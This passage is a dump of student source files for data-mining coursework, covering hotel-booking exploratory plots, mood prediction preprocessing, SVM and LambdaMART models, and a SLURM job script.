outliers by NaN\n array[outliers] = np.nan\n\n return array\n\n\ndef plot_distributions(df):\n\n '''Plot distributions of relevant variables.'''\n\n fig, ax = plt.subplots()\n\n\n ## plot all columns, excluding booleans, ids, competitor columns, flags and position ##\n cols_to_plot = [col for col in df.columns if 'bool' not in col and 'id' not in col \\\n and 'comp' not in col and 'flag' not in col and 'position' not in col]\n\n df[cols_to_plot].hist(bins=30)\n plt.show()\n\n\n ## plot competitor columns ##\n comp_cols = [col for col in df.columns if '_rate_percent_diff_mag' in col]\n df[comp_cols].hist(bins=30)\n plt.show()\n\n\n ## plot distribution over clicked (and not booked), booked, and neither ##\n cnt_booked = df['booking_bool'].sum()\n cnt_clicked = len(df[(df.click_bool == 1) & (df.booking_bool == 0)].index)\n cnt_neither = len(df[(df.click_bool == 0) & (df.booking_bool == 0)].index)\n\n labels = ['booked', 'clicked', 'neither']\n plt.pie([cnt_booked, cnt_clicked, cnt_neither], labels=labels, autopct='%1.1f%%')\n plt.axis('equal')\n plt.show()\n\n\ndef plot_correlations(df):\n\n '''Plot correlations between pairs of variables.'''\n\n ## probability of booking vs price ##\n\n # bin prices (in 20 bins)\n price_binned = pd.cut(df['price_usd'], bins=20, labels=False)\n\n # calculate probability\n prob_booked_price = df['booking_bool'].groupby(price_binned).mean()\n\n plt.scatter(prob_booked_price.index, prob_booked_price)\n plt.xlabel(\"Price (divided in 20 bins)\")\n plt.ylabel(\"Probability of booking per bin\")\n plt.title(\"Price vs. probability of booking\")\n plt.show()\n\n\n ## probability of clicking vs price ##\n\n # calculate probability of clicking\n prob_clicked_price = df['click_bool'].groupby(price_binned).mean()\n\n plt.scatter(prob_clicked_price.index, prob_clicked_price)\n plt.xlabel(\"Price (divided in 20 bins)\")\n plt.ylabel(\"Probability of clicking per bin\")\n plt.title(\"Price vs. probability of clicking\")\n plt.show()\n\n ## probability of booking vs review score ##\n\n prob_booked_review = df['booking_bool'].groupby(df['prop_review_score']).mean()\n\n plt.scatter(prob_booked_review.index, prob_booked_review)\n plt.xlabel(\"Review score (rounded to 0.5))\")\n plt.ylabel(\"Probability of booking\")\n plt.title(\"Review score vs. probability of booking\")\n plt.show()\n\n\n ## probability of booking vs review score ##\n\n prob_clicked_review = df['click_bool'].groupby(df['prop_review_score']).mean()\n\n plt.scatter(prob_clicked_review.index, prob_clicked_review)\n plt.xlabel(\"Review score (rounded to 0.5)\")\n plt.ylabel(\"Probability of clicking\")\n plt.title(\"Review score vs. probability of clicking\")\n plt.show()\n\n ## probability of booking vs stars ##\n\n prob_booked_stars = df['booking_bool'].groupby(df['prop_starrating']).mean()\n\n plt.scatter(prob_booked_stars.index, prob_booked_stars)\n plt.xlabel(\"Star rating of property\")\n plt.ylabel(\"Probability of booking\")\n plt.title(\"Star rating vs. probability of booking\")\n plt.show()\n\n\n ## probability of booking vs review score ##\n\n prob_clicked_stars = df['click_bool'].groupby(df['prop_starrating']).mean()\n\n plt.scatter(prob_clicked_stars.index, prob_clicked_stars)\n plt.xlabel(\"Star rating of property\")\n plt.ylabel(\"Probability of clicking\")\n plt.title(\"Star rating vs. probability of clicking\")\n plt.show()\n\n\ndef plot_competitor_price_impact(df):\n\n '''Plotting the impact of price of competitors on clicking/booking likelihood'''\n\n bins = [-np.inf, -40, -30, -20, -10, 0, 10, 20, 30, 40, np.inf]\n\n x = []\n y = []\n comp = []\n\n for i in range(1, 9):\n\n col = \"comp\" + str(i) + \"_rate_percent_diff_mag\"\n\n comp_price_binned = pd.cut(df[col], bins=bins, labels=False)\n\n\n comp_price = df['booking_bool'].groupby(comp_price_binned).mean()\n\n for j, bin in enumerate(bins):\n\n if bin == np.inf:\n x.append(50)\n elif bin == -np.inf:\n x.append(-50)\n else:\n x.append(bin)\n\n if float(j) in comp_price.index:\n y.append(comp_price[float(j)])\n else:\n y.append(0)\n\n comp.append(\"competitor \" + str(i))\n\n g = sns.lineplot(x=x, y=y, hue=comp)\n plt.xlabel(\"Price difference with competitor (in %)\")\n #g.set(xticklabels=[0] + bins)\n plt.ylabel(\"Probability of booking\")\n plt.title(\"Price difference with competitor vs. probability of booking\")\n plt.show()\n" }, { "alpha_fraction": 0.6174678206443787, "alphanum_fraction": 0.6194989681243896, "avg_line_length": 24.465517044067383, "blob_id": "ec7143f2c88e43b94e0365f114796d981f35aadb", "content_id": "6389d9c516705f96116d82cb7bcd7c75e60fcdc7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1477, "license_type": "no_license", "max_line_length": 78, "num_lines": 58, "path": "/Assignment1/code/autocorrelation_check.py", "repo_name": "kimdebie/data-mining-techniques", "src_encoding": "UTF-8", "text": "import pandas as pd\nfrom pandas.plotting import autocorrelation_plot\nfrom pandas.plotting import lag_plot\nimport matplotlib.pyplot as plt\nimport pivot\n\ndef autocorrelation(file):\n\n '''Checking for autocorrelation within mood variable'''\n\n df = pd.read_csv(file)\n\n df = df[[\"id\", \"time\", \"mood\"]]\n\n for id in df[\"id\"].unique():\n\n series = df[df[\"id\"] == id].mood\n\n\n autocorrelation_plot(series)\n plt.title(\"Autocorrelation plot for user \" + id)\n plt.show()\n\n\n lag_plot(series)\n plt.xlabel(\"Mood at current timepoint\")\n plt.ylabel(\"Mood at next timepoint\")\n plt.title(\"Lag plot for user \" + id)\n plt.show()\n\ndef corr_with_lag(file, col, lags=5):\n\n '''Checking whether lags of other variables correlate with current mood'''\n\n data = pd.read_csv(file)\n\n data = data[[\"id\", \"time\", \"mood\", col]]\n print(data.head())\n\n data_lag = pivot.create_lagged_vars(data, col, lags)\n\n for lag in range(lags):\n\n colname = col + \"_lag\" + str(lag+1)\n data_lag.plot(x='mood', y=colname, style='o')\n plt.title(\"Lag plot for mood versus \" + col)\n plt.xlabel(\"Mood at current timepoint\")\n plt.ylabel(col + \" at \" + str(lag+1) + \" timesteps ago\")\n plt.show()\n\n print(data_lag.head())\n corrs = data_lag.corr()\n print(corrs[\"mood\"])\n\n return data_lag\n\n#autocorrelation('cleaned_normalized.csv')\ncorr_with_lag('cleaned_normalized.csv', 'circumplex.valence')\n" }, { "alpha_fraction": 0.6208240389823914, "alphanum_fraction": 0.6308463215827942, "avg_line_length": 26.630769729614258, "blob_id": "9daaf0258b597cefdb3b1be70875fdaac66f2d3c", "content_id": "0e038acc7fab5c8c3c351830ebb576596e45a563", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1796, "license_type": "no_license", "max_line_length": 71, "num_lines": 65, "path": "/Assignment1/code/model.py", "repo_name": "kimdebie/data-mining-techniques", "src_encoding": "UTF-8", "text": "import pandas as pd\nimport numpy as np\n\n# split the dataset by 'chunkID', return a dict of id to rows\n\"\"\"\nGet chunks of data. Chunk_ix denotes the id column.\n\"\"\"\ndef to_chunks(values, chunk_ix=0):\n chunks = dict()\n # get the unique chunk ids\n chunk_ids = np.unique(values[:, chunk_ix])\n # group rows by chunk id\n for chunk_id in chunk_ids:\n selection = values[:, chunk_ix] == chunk_id\n chunks[chunk_id] = values[selection, :]\n\n return chunk_ids, chunks\n\n\"\"\"\nSplit dataset. First 40 days are used for training (so time < 40 * 24).\nrow_in_chunk indicates the time column that we want to split on\n\"\"\"\ndef split_train_test(chunks, row_in_chunk_ix=1):\n train, test = list(), list()\n\n # first 40 days for training\n cut_point = 40 * 24\n\n # split dataset\n for k,rows in chunks.items():\n train_rows = rows[rows[:,row_in_chunk_ix] <= cut_point, :]\n test_rows = rows[rows[:,row_in_chunk_ix] > cut_point, :]\n\n # remove chunks with insufficient data\n if len(train_rows) == 0 or len(test_rows) == 0:\n print(\"Drop chunk {}\".format(k))\n continue\n\n train.append(train_rows)\n test.append(test_rows)\n\n return train, test\n\ndef average_mood(ids, data):\n for id in ids:\n rows = data.loc[data['id'] == id]\n mean_rows = rows.mean()\n print(mean_rows)\n\n# read data\ndata = pd.read_csv('cleaned_normalized.csv', header = 0)\ndata = data.drop(columns=[\"Unnamed: 0\"])\n\n# group data by chunks\nvalues = data.values\nids, chunks = to_chunks(values)\nprint('Total Chunks: %d' % len(chunks))\n\n# get training and test data\ntrain, test = split_train_test(chunks)\nprint(train_df)\naverage_mood(ids,train)\n\nprint('Train Rows: %s' % str(train_rows.shape))\nprint('Test Rows: %s' % str(test_rows.shape))\n" }, { "alpha_fraction": 0.6273170709609985, "alphanum_fraction": 0.6448780298233032, "avg_line_length": 32.064517974853516, "blob_id": "b50975eb280d2a1dc2cef0587a8cdf0b093fe23c", "content_id": "29953fa32624e741dea0bc88893aad01a6199a42", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1025, "license_type": "no_license", "max_line_length": 105, "num_lines": 31, "path": "/Assignment1/code/benchmark.py", "repo_name": "kimdebie/data-mining-techniques", "src_encoding": "UTF-8", "text": "import pandas as pd\nfrom sklearn.metrics import r2_score, mean_squared_error\nimport matplotlib.pyplot as plt\n\ndef benchmark(data):\n\n '''Implements a benchmark metric for predicting mood: mood is the same as the previous day'''\n\n data = data[[\"id\", \"time\", \"mood\", \"mood_lag1\"]]\n\n data[\"mood\"].hist()\n #plt.show()\n\n data[\"accuratehighbound\"] = data[\"mood\"] < data[\"mood_lag1\"] * 1.05\n data[\"accuratelowbound\"] = data[\"mood\"] > data[\"mood_lag1\"] * 0.95\n data[\"accurate\"] = data[[\"accuratelowbound\", \"accuratehighbound\"]].all(axis='columns')\n\n acc = data[\"accurate\"].sum() / data[\"accurate\"].count()\n\n accuracy = data[\"accurate\"].tolist()\n\n rsquared = r2_score(data[\"mood\"], data[\"mood_lag1\"])\n mse = mean_squared_error(data[\"mood\"], data[\"mood_lag1\"])\n\n plt.scatter(data['mood'], data['mood_lag1'])\n #plt.show()\n\n return mse, acc, accuracy\n\n# print('rsquared: %.2f' % rsquared)\n# print('mse: %.5f' % mse) # this is low because data is downscaled (we should multiply it by 10 I think)\n" }, { "alpha_fraction": 0.7549669146537781, "alphanum_fraction": 0.7805109024047852, "avg_line_length": 95.09091186523438, "blob_id": "bc3bea533483e5f56528b528cdc0f51f375d8669", "content_id": "1674b9e6df596a047504a5605322fe73e855affe", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 1057, "license_type": "no_license", "max_line_length": 247, "num_lines": 11, "path": "/Assignment2/README.md", "repo_name": "kimdebie/data-mining-techniques", "src_encoding": "UTF-8", "text": "* Kaggle competition: https://www.kaggle.com/c/vu-dmt-2assignment\n* Link for participating: https://www.kaggle.com/t/81fd4b6b248c4642930d5c1013af967a\n\n## Data files\n\nThere are several files in the data folder. Some of them are not included in the repository due to their size, but these are created through running *code/main.py* (except the original assignment files). The most relevant files are described here.\n\n* The files provided with the assignment are *training_set_VU_DM.csv* and *test_set_VU_DM.csv*. They can be obtained from the Kaggle website linked above.\n* The file *testfile.csv* simply contains the first 1000 rows from *training_set_VU_DM.csv* and can be used for quick testing of newly written functions.\n* The file *testing_set.csv* is the test set that is to be used for all versions of the models.\n* The file *downsampled_training_set.csv* is the training set that has been downsampled; *upsampled_training_set.csv* is the training set that has been upsampled; the file *full_training_set.csv* is the original, untreated training set.\n" }, { "alpha_fraction": 0.6464968323707581, "alphanum_fraction": 0.6585279703140259, "avg_line_length": 35.230770111083984, "blob_id": "9949f42230274e3e655c31958be4480a5b4b88b9", "content_id": "26c63d4e3a4d5bc441aa701c7a6157717282e322", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5652, "license_type": "no_license", "max_line_length": 150, "num_lines": 156, "path": "/Assignment1/code/preprocess.py", "repo_name": "kimdebie/data-mining-techniques", "src_encoding": "UTF-8", "text": "'''\nFunctions for preprocessing the data\n'''\n\nimport pandas as pd\nfrom datetime import datetime\nfrom scipy import stats\nimport numpy as np\nfrom sklearn import preprocessing\nimport matplotlib\nmatplotlib.use('TkAgg')\nimport matplotlib.pyplot as plt\nfrom sklearn.impute import SimpleImputer\n\ndef load(filename):\n\n '''Load data from file into initial format'''\n\n # initial loading and formatting\n data = pd.read_csv(filename)\n data = data.drop(columns=[\"Unnamed: 0\"])\n data[\"time\"] = data[\"time\"].apply(lambda x: datetime.strptime(x, \"%Y-%m-%d %H:%M:%S.%f\"))\n\n # save data on day level (change this line for different granularity)\n data[\"time\"] = data[\"time\"].apply(lambda x: x.replace(hour=0,minute=0,second=0,microsecond=0))\n\n # remove outliers (technically cleaning but hard to do later!)\n no_outliers = data.groupby([\"id\", \"variable\"])[\"value\"].transform(lambda group: no_outlier(group)).to_frame()\n data = data[no_outliers.any(axis=1)]\n\n # variables as columns\n data = data.pivot_table(index=['id', 'time'], columns='variable', values='value').reset_index()\n print(data.head())\n\n # aggregating methods for each column (mean or sum) depending on data semantics\n aggtypes = {'mood': 'mean', 'circumplex.arousal': 'mean', 'circumplex.valence': 'mean',\n 'appCat.builtin': 'sum', 'appCat.communication': 'sum', 'appCat.entertainment': 'mean',\n 'appCat.finance': 'sum', 'appCat.game': 'sum', 'appCat.office': 'sum', 'appCat.other': 'sum',\n 'appCat.social': 'sum', 'appCat.travel': 'sum', 'appCat.unknown': 'sum',\n 'appCat.utilities': 'sum', 'appCat.weather': 'sum', 'call': 'sum', 'screen': 'sum', 'sms': 'sum',\n 'activity': 'mean'}\n\n # apply aggregations (at the specified datetime level)\n pivoted = data.groupby([\"id\", \"time\"]).agg(aggtypes).reset_index()\n\n print(pivoted.shape)\n print(pivoted.head())\n\n\n return data\n\ndef weather_info(weather_file):\n\n ''''Load data from KNMI.'''\n\n weather_data = pd.read_csv(weather_file, skiprows = 15)\n weather_data = weather_data.drop(weather_data.columns[0], axis=1)\n\n headers = ['time', 'min_temp', 'max_temp', 'sun', 'rain']\n weather_data.columns = headers\n\n # set datetime object\n weather_data[\"time\"] = weather_data[\"time\"].astype(str)\n weather_data[\"time\"] = weather_data[\"time\"].apply(lambda x: datetime.strptime(x, \"%Y%m%d\"))\n weather_data[\"time\"] = weather_data[\"time\"].apply(lambda x: x.replace(hour=0,minute=0,second=0,microsecond=0).timestamp()/ (60*60))\n\n return weather_data\n\n\ndef clean(data):\n\n '''Remove redundant rows, outliers, normalize data etc.'''\n\n # include weekday\n data = weekday_dummies(data)\n data[\"time\"] = data[\"time\"].apply(lambda x: x.timestamp() / (60*60))\n\n\n # merge weather\n weather_data = weather_info('KNMI_20140701.csv')\n data = pd.merge(data, weather_data, how='left', on='time')\n\n # remove days for which there is no mood data\n # note: the list may be extended with other values that must be present\n data = data.dropna(subset=['mood'])\n\n\n # instead of exact datetime, calculate datetime relative to first datetime (timediff in hours)\n data['time'] = data.groupby('id')['time'].transform(lambda x: x - x.min())\n\n print(data.head())\n # print(data.shape)\n\n # select columns to be normalized\n nan_to_replace = [col for col in data.columns if not col in ['id', 'time']]\n\n # replace NaN with mean for that specific person (mode not suitable with sparse values)\n data[nan_to_replace] = data.groupby(['id'])[nan_to_replace].transform(lambda x: x.fillna(x.mean()))\n\n # create column for total appusage\n data['total_appuse'] = data['appCat.builtin'].fillna(0) + data['appCat.communication'].fillna(0) + data['appCat.entertainment'].fillna(0) \\\n + data['appCat.finance'].fillna(0) + data['appCat.game'].fillna(0) + data['appCat.office'].fillna(0) + data['appCat.other'].fillna(0) \\\n + data['appCat.social'].fillna(0) + data['appCat.travel'].fillna(0) + data['appCat.unknown'].fillna(0) + data['appCat.utilities'].fillna(0) \\\n + data['appCat.weather'].fillna(0)\n\n cleaned_df = data\n\n print(cleaned_df.columns)\n\n # perform normalization on required columns\n columns_to_scale = [col for col in data.columns if not col in ['id', 'time']]\n min_max_scaler = preprocessing.MinMaxScaler()\n cleaned_df[columns_to_scale] = min_max_scaler.fit_transform(cleaned_df[columns_to_scale])\n\n # verification - plot distributions per variable\n # print(cleaned_df.head())\n fig = cleaned_df[columns_to_scale].hist(column=columns_to_scale, bins=100)\n [x.title.set_size(10) for x in fig.ravel()]\n plt.suptitle(\"Histogram distribution per variable\", fontsize = 14)\n plt.subplots_adjust(left=0.125, right=0.9, bottom=0.1, top=0.9, wspace=0.6, hspace=0.6)\n plt.savefig('results/histograms.png')\n\n # write to csv\n cleaned_df.to_csv('cleaned_normalized.csv')\n\n return data\n\ndef create_features_ML(clean_data):\n\n raise NotImplementedError\n\n return featurized_data\n\n\ndef create_features_temporal(clean_data):\n\n raise NotImplementedError\n\n return featurized_data\n\ndef no_outlier(x, z=3):\n\n '''Detect outliers by calculating z-score. A value is an outlier if it is\n more than z z-scores out'''\n\n zscores = (x - x.mean()).div(x.std() + 1e-10)\n\n return zscores.apply(lambda x: False if pd.notnull(x) and x > z else True)\n\ndef weekday_dummies(data):\n\n for i in range(7):\n colname = 'weekdaydummy' + str(i)\n data[colname] = data['time'].apply(lambda x: x.weekday() == i)\n\n return data\n" }, { "alpha_fraction": 0.652133584022522, "alphanum_fraction": 0.6586270928382874, "avg_line_length": 18.962963104248047, "blob_id": "073db8b4eae0cb8642420be08c4171d5e100f48e", "content_id": "cabe5ff08488cfbd76d9e599e94d31bdb173c25e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1078, "license_type": "no_license", "max_line_length": 42, "num_lines": 54, "path": "/Assignment2/code/load.py", "repo_name": "kimdebie/data-mining-techniques", "src_encoding": "UTF-8", "text": "import pandas as pd\n# import matplotlib\n# matplotlib.use('TkAgg')\n# import matplotlib.pyplot as plt\nimport numpy as np\n\ndef loaddata(filename):\n\n '''Loading in data.'''\n\n df = pd.read_csv(filename)\n\n if 'Unnamed: 0' in df.columns:\n df = df.drop('Unnamed: 0', axis=1)\n\n # print(df.dtypes)\n\n return df\n\ndef lambdamartformat(data, test = False):\n\tidx_to_doc = {}\n\tnew_data = []\n\n\tfeatures = list(data.columns.values)\n\n\tprint(features)\n\tfeatures = sorted(features)\n\n\tprint(features)\n\n\tif 'relevance' in features:\t\n\t\tfeatures.remove('relevance')\n\tfeatures.remove('srch_id')\n\tfeatures.remove('prop_id')\n\tfeatures.remove('date_time')\n\n\t# We should do something with time!!\n\t# features.remove('')\n\n\tidx = 0\n\tfor index, row in data.iterrows():\n\t\tnew_arr = []\n\t\tif test == False:\n\t\t\tnew_arr.append(float(row['relevance']))\n\t\telse:\n\t\t\tnew_arr.append(0.0)\n\t\tnew_arr.append(row['srch_id'])\n\t\tfor feature in row[features].values:\n\t\t\tnew_arr.append(feature)\n\t\tnew_data.append(new_arr)\n\t\tidx_to_doc[idx] = row['prop_id']\n\t\tidx += 1\n\n\treturn np.array(new_data), idx_to_doc\n" }, { "alpha_fraction": 0.5968841314315796, "alphanum_fraction": 0.6066212058067322, "avg_line_length": 27.52777862548828, "blob_id": "9de6f28fcc928193963beff11b6a86ef3b013e01", "content_id": "9ddc9fef7aa21df9fc1aaaf96b4b9a6ab398fdd4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1027, "license_type": "no_license", "max_line_length": 81, "num_lines": 36, "path": "/Assignment1/code/pivot.py", "repo_name": "kimdebie/data-mining-techniques", "src_encoding": "UTF-8", "text": "import pandas as pd\n\ndef create_lagged_vars(df, colname, lags=5, hours=24):\n\n '''Create lagged versions of the specified variables'''\n\n if \"Unnamed:0\" in df.columns:\n df = df.drop(\"Unnamed: 0\", axis=1)\n\n discols = []\n\n # we need 'lags' consecutive observations - first remove rows that are not\n # part of such a consecutive series\n for lag in range(1, lags+1):\n\n temp = pd.DataFrame()\n\n temp[\"left\"] = df.groupby(\"id\")[\"time\"].diff(periods=lag) == hours*lag\n temp[\"right\"] = df.groupby(\"id\")[\"time\"].diff(periods=-lag) == -hours*lag\n\n discol = \"discard\" + str(lag)\n df[discol] = temp.any(axis='columns')\n\n discols.append(discol)\n\n df = df[df[discols].all(axis='columns')]\n df = df[[col for col in df.columns if not col in discols]]\n\n # now we create lags and add them as new columns to the dataset!\n for lag in range(lags):\n\n newcol = colname + \"_lag\" + str(lag+1)\n df[newcol] = df.groupby(\"id\")[colname].shift(lag+1)\n\n\n return df\n" }, { "alpha_fraction": 0.5737023949623108, "alphanum_fraction": 0.5830450057983398, "avg_line_length": 30.413043975830078, "blob_id": "5553c775616424f430e1337ad48d6de983e8cef4", "content_id": "1bb81d5648bbb24f0f409cfcfd81328b89edb1ef", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5780, "license_type": "no_license", "max_line_length": 117, "num_lines": 184, "path": "/Assignment2/code/main.py", "repo_name": "kimdebie/data-mining-techniques", "src_encoding": "UTF-8", "text": "import pandas as pd\nimport numpy as np\n\nimport load\nimport eda\nimport process\nimport features\nimport models\nfrom sklearn.model_selection import KFold\nimport correlations\n\n# global variables that define what tasks to perform\nREAD_RAW_DATA = False\nPLOT = False\nHYPERPARAM = True\nLAMBDAMART = False\nSAMPLING_METHOD = \"downsample\" # one of \"downsample\", \"upsample\", \"none\"\n\n\ndef main():\n\n # only read raw data if so required (cleaned files do not exist yet)\n if READ_RAW_DATA:\n\n # train set\n dataset = '../../data/training_set_VU_DM.csv'\n\n # test set (turn off relevance score in this case!)\n #dataset = '../../data/test_set_VU_DM.csv'\n\n # take the first 1000 lines of the dataset only - use this for testing\n # to make the code less slow! Comment it out for finalizing\n # dataset = '../data/testfile.csv'\n\n # loading in the right file\n data = load.loaddata(dataset)\n\n # # create competitor features\n data = features.create_competitor_features(data)\n\n # # create other features\n data = features.other_features(data)\n\n # # add relevance grades\n data = features.relevance_score(data)\n\n # remove outliers\n data = eda.remove_outliers(data)\n\n # # handling missing values\n data = eda.missing_values(data)\n\n if PLOT:\n\n # take a sample of the data to make plotting feasible\n sample_data = data.sample(n=500000)\n\n # plot distributions\n eda.plot_distributions(sample_data)\n\n # plot correlations between sets of variables\n eda.plot_correlations(sample_data)\n\n # plot impact of price of competitor on booking\n eda.plot_competitor_price_impact(sample_data)\n\n # get correlations of the features\n correlations.show_correlations(sample_data)\n\n # divide data into train and test set (and save these)\n train_data, test_data = process.split_train_test(data)\n\n # downsample data to create class balance (and save)\n downsampled_train_data = process.downsample(train_data)\n\n # upsample data to create class balance (and save it)\n upsampled_train_data = process.upsample(train_data)\n\n\n # data is already loaded - only need to load it from file\n # test for the best set of hyperparameters\n if HYPERPARAM:\n\n # get the appropriate training set\n if SAMPLING_METHOD == \"downsample\":\n\n traindataset = '../data/downsampled_crossvalidation_set.csv'\n\n elif SAMPLING_METHOD == \"upsample\":\n\n traindataset = \"../data/upsampled_crossvalidation_set.csv\"\n\n elif SAMPLING_METHOD == \"none\":\n\n traindataset = \"../data/full_crossvalidation_set.csv\"\n\n # loading in the data\n train_data = load.loaddata(traindataset)\n\n # remove columns not in test dataset\n keep_cols = [col for col in train_data.columns if col not in ['booking_bool', 'click_bool']]\n\n # sample a smaller subset to make this all feasible\n train_data = train_data[keep_cols].sample(n=4000)\n print(train_data.columns)\n\n # Train lambdamart for different hyperparam values and evaluate on validation set\n trees = [5, 10, 50, 100, 150, 300, 400]\n lrs = [0.15, 0.10, 0.8, 0.05, 0.01]\n\n indices = []\n for i in range(np.array(train_data.shape[0])):\n items = [0, 1]\n indices.append(items)\n\n indices = np.array(indices)\n\n # K-fold cross validation for different parameter combinations\n for tree in trees:\n for lr in lrs:\n # indices = np.array(train_data.shape[0])\n kf = KFold(n_splits = 5)\n\n ndcgs = []\n for train_index, test_index in kf.split(indices):\n\n train_index = train_index.tolist()\n test_index = test_index.tolist()\n\n # Split up data\n X_train, X_validation = train_data.iloc[train_index], train_data.iloc[test_index]\n\n # Run lambdamart on training data and evaluate on validation data\n ndcg = models.lambdamart(X_train, X_validation, tree, lr, SAMPLING_METHOD)\n print(ndcg)\n ndcgs.append(ndcg)\n\n average_ndcg = np.mean(ndcgs)\n\n # Save NDCG\n file = '../results/hyperparams/crossvalidation_' + SAMPLING_METHOD + '.txt'\n with open(file, 'a') as f:\n line = 'trees: ' + str(tree) + ', lr: ' + str(lr) + ', average_ndcg: ' + str(average_ndcg) + '\\n'\n print(line)\n f.write(line)\n f.close()\n\n # run the full model\n if LAMBDAMART:\n\n # test data is always the same\n testdataset = '../data/testing_set_only.csv'\n\n # get the appropriate training set\n if SAMPLING_METHOD == \"downsample\":\n\n traindataset = '../data/downsampled_training_set_only.csv'\n\n elif SAMPLING_METHOD == \"upsample\":\n\n traindataset = \"../data/upsampled_training_set_only.csv\"\n\n elif SAMPLING_METHOD == \"none\":\n\n traindataset = \"../data/full_training_set_only.csv\"\n\n # loading in the data\n train_data = load.loaddata(traindataset)\n\n # loading in final test set\n test_data = load.loaddata(testdataset)\n\n # hyperparameters\n trees = 2\n lrs = 0.10\n\n # train lambdamart and evaluate on test set\n ndcg = models.lambdamart(train_data, test_data, trees, lrs, SAMPLING_METHOD)\n print(ndcg)\n\n\nif __name__ == '__main__':\n\n main()\n" }, { "alpha_fraction": 0.6546762585639954, "alphanum_fraction": 0.701438844203949, "avg_line_length": 18.928571701049805, "blob_id": "5c673672a8510a62e49df3076d02b82aedc7874c", "content_id": "8652896b01a6071944d2137b28cbaf9145735a0d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 278, "license_type": "no_license", "max_line_length": 48, "num_lines": 14, "path": "/Assignment2/code/train_DM.job", "repo_name": "kimdebie/data-mining-techniques", "src_encoding": "UTF-8", "text": "#!/bin/bash\n\n#SBATCH --job-name=DM\n#SBATCH --ntasks=1\n#SBATCH --cpus-per-task=3\n#SBATCH --ntasks-per-node=1\n#SBATCH --time=10:00:00\n#SBATCH --mem=10G\n#SBATCH --partition=gpu_shared_course\n#SBATCH --gres=gpu:1\n\nsource activate dm\n\npython3 -u code/main.py |& tee -a results_DM.txt" }, { "alpha_fraction": 0.5793231129646301, "alphanum_fraction": 0.5906927585601807, "avg_line_length": 28.546875, "blob_id": "b99f11df32bc22552724f0fb5d459475451e5738", "content_id": "fb5d2a74a22e6f205ed2d19e2cae8524b250c175", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3782, "license_type": "no_license", "max_line_length": 103, "num_lines": 128, "path": "/Assignment1/code/SVM.py", "repo_name": "kimdebie/data-mining-techniques", "src_encoding": "UTF-8", "text": "import pandas as pd\nimport numpy as np\nimport warnings\nwarnings.filterwarnings(\"ignore\")\n\nfrom sklearn.svm import SVC\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.metrics import classification_report, confusion_matrix, accuracy_score, mean_squared_error\n\n\"\"\"\n---USER SPECIFIC---\nTake average of variables per user\n\"\"\"\ndef average_dataset(data):\n mean_df = pd.DataFrame()\n unique_ids = data['id'].unique()\n targets = []\n\n for k, id in enumerate(unique_ids):\n rows = data.loc[data['id'] == id]\n\n # average all variables over the time period\n mean = rows.mean(axis=1)\n\n # set last time point as target\n last_day = rows['time'].max()\n y = rows.loc[rows['time'] == last_day]\n label = y['mood']\n\n # append to dataframe\n mean_df = mean_df.append(mean, ignore_index=True)\n targets.append(label.iloc[0])\n\n df = target_to_label(mean_df, targets)\n\n return df\n\n\"\"\"\n---GENERAL---\nAverage previous k days and set (k+1)'th day as target\n\"\"\"\ndef average_k_dataset(data, k, target_row=False):\n # initialize dataframes\n mean_df = pd.DataFrame()\n previous_k = pd.DataFrame()\n targets = []\n\n # iterate over data rows\n for idx, row in data.iterrows():\n previous_k = previous_k.append(row)\n\n # check if current row is used as target\n if target_row == True:\n target_row = False\n continue\n\n # after k rows, calculate mean and set target (if end is not reached!)\n if (idx+1) % k == 0 and idx != (data.shape[0]-1):\n mean_previous = previous_k.mean(axis=0)\n mean_df = mean_df.append(mean_previous, ignore_index=True)\n targets.append(data.iloc[idx+1]['mood'])\n previous_k = pd.DataFrame()\n target_row = True\n\n #df = target_to_label(mean_df, targets, 3)\n df = balanced_classes(mean_df, targets, 4)\n return df\n\n\"\"\"\nConvert mood targets to labels and append to dataset\n\"\"\"\ndef target_to_label(df, targets, n_classes=3):\n # positive, neutral, negative mood class\n if n_classes == 3:\n labels = []\n for t in targets:\n if t<=0.33:\n labels.append(1)\n elif t>0.33 and t<=0.66:\n labels.append(2)\n else:\n labels.append(3)\n\n # scale of 1 to 10\n elif n_classes == 10:\n labels = [\"{0:.1f}\".format(t) for t in targets]\n else:\n raise Exception(\"Number of classes must be 3 or 10\")\n\n df['label'] = labels\n return df\n\ndef balanced_classes(df, targets, n_classes):\n labels = np.zeros((len(targets),), dtype=int)\n sorted_targets = np.sort(targets)\n arg_sorted_targets = np.argsort(targets)\n quantiles = np.array_split(sorted_targets, n_classes)\n\n # i represents the class label (1...n_classes)\n j=0\n for i, quantile in enumerate(quantiles):\n for target in quantile:\n idx = arg_sorted_targets[j]\n labels[idx] = i+1\n j+=1\n\n df['label'] = labels\n return df\n\ndef SVM_model(X_train, X_test, Y_train, Y_test):\n\n # train classifier\n svclassifier = SVC(kernel='linear')\n svclassifier.fit(X_train, Y_train)\n y_pred = svclassifier.predict(X_test)\n\n # evaluation metrics\n print(\"-------------------Confusion matrix-------------------\")\n print(confusion_matrix(Y_test,y_pred))\n print(\"-------------Precision and Recall metrics-------------\")\n print(classification_report(Y_test,y_pred))\n accuracy = accuracy_score(Y_test,y_pred)\n # print(\"-----------------------Accuracy-----------------------\\n{0:.3f}\".format(accuracy))\n\n correct = Y_test == y_pred\n mse = mean_squared_error(y_pred, Y_test)\n\n return mse, accuracy, [1 if c == True else 0 for c in correct]\n" }, { "alpha_fraction": 0.6605113744735718, "alphanum_fraction": 0.6647727489471436, "avg_line_length": 28.33333396911621, "blob_id": "46b6f5a27cce08e31f7162fc2cd9d74fa63406c5", "content_id": "66e1a5fbf070a930140aa0053bebe76100dda9b3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 704, "license_type": "no_license", "max_line_length": 140, "num_lines": 24, "path": "/Assignment2/code/test.py", 